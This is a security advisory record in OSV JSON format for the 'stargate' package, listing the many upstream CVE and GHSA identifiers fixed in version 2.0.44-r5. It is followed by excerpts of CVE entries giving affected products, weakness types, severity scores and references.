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Vulnerability from cleanstart
Multiple security vulnerabilities affect the stargate package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "stargate"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.44-r5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the stargate package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-KU61465",
"modified": "2026-05-05T05:07:13Z",
"published": "2026-05-18T13:46:33.487376Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-KU61465.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2015-3254"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2018-10237"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2018-11798"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2018-1320"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2018-20200"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2019-0205"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2020-8908"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2021-0341"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2021-41973"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-1471"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-24823"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-3171"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-3509"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-3510"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2022-41881"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-2976"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-34462"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-44487"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2023-46120"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-13009"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-29025"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-40094"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-47535"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-6763"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-11143"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-25193"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-46392"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-48734"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-53864"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-59419"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-21452"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-269q-hmxg-m83q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-389x-839f-4rhx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3cqm-mf7h-prrj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-3p8m-j85q-pgmj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-4gg5-vx3j-xwc7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5jpm-x58v-624v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5mg8-w23w-74h3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6mjq-h674-j845"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-735f-pc8j-v9w8"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-7g45-4rm6-3mm3"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-84h7-rjj3-6jx4"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-cw39-r4h6-8j3x"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fghv-69vj-qj49"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-fx2c-96vj-985v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-g5ww-5jh7-63cx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h4h5-3hr4-j3g2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-h9mq-f6q5-6c8m"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j288-q9x7-2f5v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-jq43-27x9-3v86"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mjmj-j48q-9wg2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mm8h-8587-p46h"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mvr2-9pj6-7w5j"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-prj3-ccx8-p6x4"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-pvp8-3xj6-8c6x"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qh8g-58pp-2wxh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-qqpg-mvqg-649v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-rj7p-rfgp-852x"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vx85-mj8c-4qm6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w33c-445m-f8w7"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wjpw-4j6x-6rwh"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wjxj-f8rg-99wx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wxr5-93ph-8wr9"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xpw8-rcwv-8f8p"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xq3w-v528-46rv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-xwmg-2g98-w7v9"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3254"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10237"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11798"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1320"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-20200"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0205"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8908"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0341"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41973"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1471"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24823"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3171"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3509"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3510"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41881"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2976"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34462"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44487"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46120"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13009"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29025"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40094"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47535"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6763"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7254"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11143"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25193"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46392"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48734"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48924"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53864"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58056"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59419"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67735"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1225"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21452"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2015-3254, CVE-2018-10237, CVE-2018-11798, CVE-2018-1320, CVE-2018-20200, CVE-2019-0205, CVE-2020-8908, CVE-2021-0341, CVE-2021-41973, CVE-2022-1471, CVE-2022-24823, CVE-2022-3171, CVE-2022-3509, CVE-2022-3510, CVE-2022-41881, CVE-2023-2976, CVE-2023-34462, CVE-2023-44487, CVE-2023-46120, CVE-2024-13009, CVE-2024-29025, CVE-2024-40094, CVE-2024-47535, CVE-2024-6763, CVE-2024-7254, CVE-2025-11143, CVE-2025-25193, CVE-2025-46392, CVE-2025-48734, CVE-2025-48924, CVE-2025-53864, CVE-2025-55163, CVE-2025-58056, CVE-2025-58057, CVE-2025-59419, CVE-2025-67735, CVE-2026-1225, CVE-2026-21452, ghsa-269q-hmxg-m83q, ghsa-389x-839f-4rhx, ghsa-3cqm-mf7h-prrj, ghsa-3p8m-j85q-pgmj, ghsa-4gg5-vx3j-xwc7, ghsa-5jpm-x58v-624v, ghsa-5mg8-w23w-74h3, ghsa-6mjq-h674-j845, ghsa-72hv-8253-57qq, ghsa-735f-pc8j-v9w8, ghsa-7g45-4rm6-3mm3, ghsa-84h7-rjj3-6jx4, ghsa-cw39-r4h6-8j3x, ghsa-fghv-69vj-qj49, ghsa-fx2c-96vj-985v, ghsa-g5ww-5jh7-63cx, ghsa-h4h5-3hr4-j3g2, ghsa-h9mq-f6q5-6c8m, ghsa-j288-q9x7-2f5v, ghsa-jq43-27x9-3v86, ghsa-mjmj-j48q-9wg2, ghsa-mm8h-8587-p46h, ghsa-mvr2-9pj6-7w5j, ghsa-prj3-ccx8-p6x4, ghsa-pvp8-3xj6-8c6x, ghsa-qh8g-58pp-2wxh, ghsa-qqpg-mvqg-649v, ghsa-rj7p-rfgp-852x, ghsa-vx85-mj8c-4qm6, ghsa-w33c-445m-f8w7, ghsa-wjpw-4j6x-6rwh, ghsa-wjxj-f8rg-99wx, ghsa-wxr5-93ph-8wr9, ghsa-xpw8-rcwv-8f8p, ghsa-xq3w-v528-46rv, ghsa-xwmg-2g98-w7v9 applied in versions: 2.0.44-r4, 2.0.44-r5",
"upstream": [
"CVE-2015-3254",
"CVE-2018-10237",
"CVE-2018-11798",
"CVE-2018-1320",
"CVE-2018-20200",
"CVE-2019-0205",
"CVE-2020-8908",
"CVE-2021-0341",
"CVE-2021-41973",
"CVE-2022-1471",
"CVE-2022-24823",
"CVE-2022-3171",
"CVE-2022-3509",
"CVE-2022-3510",
"CVE-2022-41881",
"CVE-2023-2976",
"CVE-2023-34462",
"CVE-2023-44487",
"CVE-2023-46120",
"CVE-2024-13009",
"CVE-2024-29025",
"CVE-2024-40094",
"CVE-2024-47535",
"CVE-2024-6763",
"CVE-2024-7254",
"CVE-2025-11143",
"CVE-2025-25193",
"CVE-2025-46392",
"CVE-2025-48734",
"CVE-2025-48924",
"CVE-2025-53864",
"CVE-2025-55163",
"CVE-2025-58056",
"CVE-2025-58057",
"CVE-2025-59419",
"CVE-2025-67735",
"CVE-2026-1225",
"CVE-2026-21452",
"ghsa-269q-hmxg-m83q",
"ghsa-389x-839f-4rhx",
"ghsa-3cqm-mf7h-prrj",
"ghsa-3p8m-j85q-pgmj",
"ghsa-4gg5-vx3j-xwc7",
"ghsa-5jpm-x58v-624v",
"ghsa-5mg8-w23w-74h3",
"ghsa-6mjq-h674-j845",
"ghsa-72hv-8253-57qq",
"ghsa-735f-pc8j-v9w8",
"ghsa-7g45-4rm6-3mm3",
"ghsa-84h7-rjj3-6jx4",
"ghsa-cw39-r4h6-8j3x",
"ghsa-fghv-69vj-qj49",
"ghsa-fx2c-96vj-985v",
"ghsa-g5ww-5jh7-63cx",
"ghsa-h4h5-3hr4-j3g2",
"ghsa-h9mq-f6q5-6c8m",
"ghsa-j288-q9x7-2f5v",
"ghsa-jq43-27x9-3v86",
"ghsa-mjmj-j48q-9wg2",
"ghsa-mm8h-8587-p46h",
"ghsa-mvr2-9pj6-7w5j",
"ghsa-prj3-ccx8-p6x4",
"ghsa-pvp8-3xj6-8c6x",
"ghsa-qh8g-58pp-2wxh",
"ghsa-qqpg-mvqg-649v",
"ghsa-rj7p-rfgp-852x",
"ghsa-vx85-mj8c-4qm6",
"ghsa-w33c-445m-f8w7",
"ghsa-wjpw-4j6x-6rwh",
"ghsa-wjxj-f8rg-99wx",
"ghsa-wxr5-93ph-8wr9",
"ghsa-xpw8-rcwv-8f8p",
"ghsa-xq3w-v528-46rv",
"ghsa-xwmg-2g98-w7v9"
]
}
CVE-2025-46392 (GCVE-0-2025-46392)
Vulnerability from cvelistv5 – Published: 2025-05-09 09:34 – Updated: 2025-05-13 19:15- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | |
|---|---|---|
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Apache Software Foundation | Apache Commons Configuration |
Affected:
1 , < 2.0.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2025-46392",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-05-13T19:15:36.422951Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-05-13T19:15:39.662Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://repo.maven.apache.org/maven2",
"defaultStatus": "unaffected",
"packageName": "commons-configuration:commons-configuration",
"product": "Apache Commons Configuration",
"vendor": "Apache Software Foundation",
"versions": [
{
"lessThan": "2.0.0",
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CVE-2021-41973 (GCVE-0-2021-41973)
Vulnerability from cvelistv5 – Published: 2021-11-01 08:35 – Updated: 2024-08-04 03:22- CWE-835 - Loop with Unreachable Exit Condition ('Infinite Loop')
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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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| Vendor | Product | Version | ||
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| Apache Software Foundation | Apache MINA |
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CVE-2022-24823 (GCVE-0-2022-24823)
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CVE-2018-1320 (GCVE-0-2018-1320)
Vulnerability from cvelistv5 – Published: 2019-01-07 18:00 – Updated: 2024-08-05 03:59- Improper Authentication
| Vendor | Product | Version | ||
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| Apache Software Foundation | Apache Thrift |
Affected:
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CVE-2025-11143 (GCVE-0-2025-11143)
Vulnerability from cvelistv5 – Published: 2026-03-05 09:26 – Updated: 2026-03-05 14:48- CWE-20 - Improper Input Validation
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Eclipse Foundation | Eclipse Jetty |
Affected:
9.4.0 , ≤ 9.4.58
(semver)
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CVE-2025-59419 (GCVE-0-2025-59419)
Vulnerability from cvelistv5 – Published: 2025-10-15 15:42 – Updated: 2025-10-17 19:44- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
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CVE-2025-67735 (GCVE-0-2025-67735)
Vulnerability from cvelistv5 – Published: 2025-12-16 00:19 – Updated: 2025-12-16 14:26- CWE-93 - Improper Neutralization of CRLF Sequences ('CRLF Injection')
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CVE-2025-58056 (GCVE-0-2025-58056)
Vulnerability from cvelistv5 – Published: 2025-09-03 20:56 – Updated: 2025-09-05 18:41- CWE-444 - Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
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CVE-2023-44487 (GCVE-0-2023-44487)
Vulnerability from cvelistv5 – Published: 2023-10-10 00:00 – Updated: 2026-05-12 10:52- n/a
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CVE-2026-1225 (GCVE-0-2026-1225)
Vulnerability from cvelistv5 – Published: 2026-01-22 09:24 – Updated: 2026-01-22 14:14- CWE-20 - Improper Input Validation
| Vendor | Product | Version | ||
|---|---|---|---|---|
| QOS.CH Sarl | Logback-core |
Affected:
0.9.20 , ≤ 1.5.24
(maven)
Unaffected: 1.5.25 |
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CVE-2018-20200 (GCVE-0-2018-20200)
Vulnerability from cvelistv5 – Published: 2019-04-18 18:31 – Updated: 2024-08-05 11:58 Disputed- n/a
| URL | Tags | ||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||||||||
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CVE-2025-25193 (GCVE-0-2025-25193)
Vulnerability from cvelistv5 – Published: 2025-02-10 22:02 – Updated: 2025-02-21 18:03- CWE-400 - Uncontrolled Resource Consumption
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CVE-2024-40094 (GCVE-0-2024-40094)
Vulnerability from cvelistv5 – Published: 2024-07-30 00:00 – Updated: 2024-11-20 20:13- n/a
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CVE-2018-11798 (GCVE-0-2018-11798)
Vulnerability from cvelistv5 – Published: 2019-01-07 18:00 – Updated: 2024-08-05 08:17- Improper Access Control
| URL | Tags | ||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Apache Software Foundation | Apache Thrift |
Affected:
Apache Thrift 0.9.2 to 0.11.0
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CVE-2015-3254 (GCVE-0-2015-3254)
Vulnerability from cvelistv5 – Published: 2017-06-16 22:00 – Updated: 2024-08-06 05:39- n/a
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CVE-2021-0341 (GCVE-0-2021-0341)
Vulnerability from cvelistv5 – Published: 2021-02-10 16:50 – Updated: 2024-08-03 15:40- Information disclosure
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CVE-2022-3171 (GCVE-0-2022-3171)
Vulnerability from cvelistv5 – Published: 2022-10-12 00:00 – Updated: 2025-04-21 13:47- CWE-20 - Improper Input Validation
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| Google LLC | Protocolbuffers |
Affected:
3.21.7 , < 3.21.7
(custom)
Affected: 3.20.3 , < 3.20.3 (custom) Affected: 3.19.6 , < 3.19.6 (custom) Affected: 3.16.3 , < 3.16.3 (custom) |
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CVE-2024-13009 (GCVE-0-2024-13009)
Vulnerability from cvelistv5 – Published: 2025-05-08 17:29 – Updated: 2025-05-08 18:56 Unsupported When Assigned- CWE-404 - Improper Resource Shutdown or Release
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Vulnerability from cvelistv5 – Published: 2025-07-11 14:56 – Updated: 2025-11-04 22:06- CWE-674 - Uncontrolled Recursion
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CVE-2023-2976 (GCVE-0-2023-2976)
Vulnerability from cvelistv5 – Published: 2023-06-14 17:36 – Updated: 2026-02-25 16:57- Creation of Temporary File With Insecure Permissions
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CVE-2024-7254 (GCVE-0-2024-7254)
Vulnerability from cvelistv5 – Published: 2024-09-19 00:18 – Updated: 2025-09-08 09:37| Vendor | Product | Version | |||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Protocol Buffers |
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CVE-2023-46120 (GCVE-0-2023-46120)
Vulnerability from cvelistv5 – Published: 2023-10-24 23:05 – Updated: 2024-09-11 13:20- CWE-400 - Uncontrolled Resource Consumption
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| rabbitmq | rabbitmq-java-client |
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< 5.18.0
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CVE-2024-29025 (GCVE-0-2024-29025)
Vulnerability from cvelistv5 – Published: 2024-03-25 20:09 – Updated: 2025-02-13 17:47- CWE-770 - Allocation of Resources Without Limits or Throttling
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CVE-2022-3510 (GCVE-0-2022-3510)
Vulnerability from cvelistv5 – Published: 2022-11-11 16:35 – Updated: 2025-04-22 15:09- n/a
| URL | Tags | |
|---|---|---|
| Vendor | Product | Version | ||
|---|---|---|---|---|
| ProtocolBuffers |
Affected:
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(semver)
Affected: 3.20.0 , < 3.20.3 (semver) Affected: 3.19.0 , < 3.19.6 (semver) Affected: 3.16.0 , < 3.16.3 (semver) |
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CVE-2022-41881 (GCVE-0-2022-41881)
Vulnerability from cvelistv5 – Published: 2022-12-12 00:00 – Updated: 2025-04-22 15:57- CWE-674 - Uncontrolled Recursion
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CVE-2025-53864 (GCVE-0-2025-53864)
Vulnerability from cvelistv5 – Published: 2025-07-11 00:00 – Updated: 2025-09-23 18:38- CWE-674 - Uncontrolled Recursion
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CVE-2023-34462 (GCVE-0-2023-34462)
Vulnerability from cvelistv5 – Published: 2023-06-22 23:00 – Updated: 2025-02-13 16:55- CWE-400 - Uncontrolled Resource Consumption
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CVE-2022-1471 (GCVE-0-2022-1471)
Vulnerability from cvelistv5 – Published: 2022-12-01 10:47 – Updated: 2025-06-18 08:32- CWE-20 - Improper Input Validation
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CVE-2024-6763 (GCVE-0-2024-6763)
Vulnerability from cvelistv5 – Published: 2024-10-14 15:06 – Updated: 2025-03-07 00:10| Vendor | Product | Version | ||
|---|---|---|---|---|
| Eclipse Foundation | Jetty |
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CVE-2025-48734 (GCVE-0-2025-48734)
Vulnerability from cvelistv5 – Published: 2025-05-28 13:32 – Updated: 2026-04-29 03:55- CWE-284 - Improper Access Control
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | |||||||
|---|---|---|---|---|---|---|---|---|---|
| Apache Software Foundation | Apache Commons BeanUtils 1.x |
Affected:
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(maven)
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CVE-2024-47535 (GCVE-0-2024-47535)
Vulnerability from cvelistv5 – Published: 2024-11-12 15:50 – Updated: 2024-11-13 20:44- CWE-400 - Uncontrolled Resource Consumption
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CVE-2022-3509 (GCVE-0-2022-3509)
Vulnerability from cvelistv5 – Published: 2022-11-01 18:09 – Updated: 2025-04-22 15:10- n/a
| Vendor | Product | Version | ||
|---|---|---|---|---|
| ProtocolBuffers |
Affected:
3.21.0 , < 3.21.7
(semver)
Affected: 3.20.0 , < 3.20.3 (semver) Affected: 3.19.0 , < 3.19.6 (semver) Affected: 3.16.0 , < 3.16.3 (semver) |
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CVE-2025-55163 (GCVE-0-2025-55163)
Vulnerability from cvelistv5 – Published: 2025-08-13 14:17 – Updated: 2025-11-04 21:13- CWE-770 - Allocation of Resources Without Limits or Throttling
| URL | Tags | ||||
|---|---|---|---|---|---|
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CVE-2020-8908 (GCVE-0-2020-8908)
Vulnerability from cvelistv5 – Published: 2020-12-10 22:10 – Updated: 2024-08-04 10:12- CWE-378 - Creation of Temporary File With Insecure Permissions
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|
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| Vendor | Product | Version | ||
|---|---|---|---|---|
| Google LLC | Guava |
Affected:
1.0 , < 32.0
(custom)
|
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"value": "\u003cp\u003eA temp directory creation vulnerability exists in all versions of Guava, allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava API com.google.common.io.Files.createTempDir(). By default, on unix-like systems, the created directory is world-readable (readable by an attacker with access to the system). The method in question has been marked @Deprecated in versions 30.0 and later and should not be used. For Android developers, we recommend choosing a temporary directory API provided by Android, such as context.getCacheDir(). For other Java developers, we recommend migrating to the Java 7 API java.nio.file.Files.createTempDirectory() which explicitly configures permissions of 700, or configuring the Java runtime\u0027s java.io.tmpdir system property to point to a location whose permissions are appropriately configured.\u003c/p\u003e"
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CVE-2026-21452 (GCVE-0-2026-21452)
Vulnerability from cvelistv5 – Published: 2026-01-02 20:47 – Updated: 2026-01-02 21:22| URL | Tags | ||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| msgpack | msgpack-java |
Affected:
< 0.9.11
|
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CVE-2019-0205 (GCVE-0-2019-0205)
Vulnerability from cvelistv5 – Published: 2019-10-28 22:32 – Updated: 2024-08-04 17:44- Potential DoS when processing untrusted Thrift payloads
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| Vendor | Product | Version | ||
|---|---|---|---|---|
| Apache | Apache Thrift |
Affected:
all versions up to and including 0.12.0
|
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"name": "[thrift-notifications] 20200813 [GitHub] [thrift] kevinsookocheff-wf commented on pull request #1993: THRIFT-5075: Backport changes for CVE-2019-0205 to 0.9.3.1 branch",
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CVE-2025-58057 (GCVE-0-2025-58057)
Vulnerability from cvelistv5 – Published: 2025-09-03 21:46 – Updated: 2025-09-04 19:59- CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)
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CVE-2018-10237 (GCVE-0-2018-10237)
Vulnerability from cvelistv5 – Published: 2018-04-26 21:00 – Updated: 2024-08-05 07:32- n/a
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"name": "[maven-issues] 20210122 [GitHub] [maven-indexer] akurtakov opened a new pull request #75: Remove guava dependency from indexer-core",
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"name": "[samza-commits] 20210310 [GitHub] [samza] Telesia opened a new pull request #1471: SAMZA-2630: Upgrade dependencies for security fixes",
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{
"name": "[hadoop-hdfs-dev] 20190401 Update guava to 27.0-jre in hadoop-project",
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"url": "https://lists.apache.org/thread.html/cc48fe770c45a74dc3b37ed0817393e0c96701fc49bc431ed922f3cc%40%3Chdfs-dev.hadoop.apache.org%3E"
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{
"name": "[pulsar-commits] 20190416 [GitHub] [pulsar] one70six opened a new issue #4057: Security Vulnerabilities - Black Duck Scan - Pulsar v.2.3.1",
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{
"name": "[activemq-issues] 20190516 [jira] [Created] (AMQ-7208) Security Issue related to Guava 18.0",
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"url": "https://lists.apache.org/thread.html/3ddd79c801edd99c0978e83dbe2168ebd36fd42acfa5dac38fb03dd6%40%3Cissues.activemq.apache.org%3E"
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"name": "[activemq-gitbox] 20190530 [GitHub] [activemq-artemis] brusdev opened a new pull request #2687: ARTEMIS-2359 Upgrade to Guava 24.1",
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{
"name": "[cassandra-commits] 20190612 [jira] [Assigned] (CASSANDRA-14760) CVE-2018-10237 Security vulnerability in 3.11.3",
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{
"name": "[activemq-issues] 20190820 [jira] [Created] (AMQ-7279) Security Vulnerabilities in Libraries - jackson-databind-2.9.8.jar, tomcat-servlet-api-8.0.53.jar, tomcat-websocket-api-8.0.53.jar, zookeeper-3.4.6.jar, guava-18.0.jar, jetty-all-9.2.26.v20180806.jar, scala-library-2.11.0.jar",
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{
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{
"name": "[drill-dev] 20191017 Dependencies used by Drill contain known vulnerabilities",
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{
"name": "[drill-dev] 20191021 [jira] [Created] (DRILL-7416) Updates required to dependencies to resolve potential security vulnerabilities",
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"url": "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E"
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{
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{
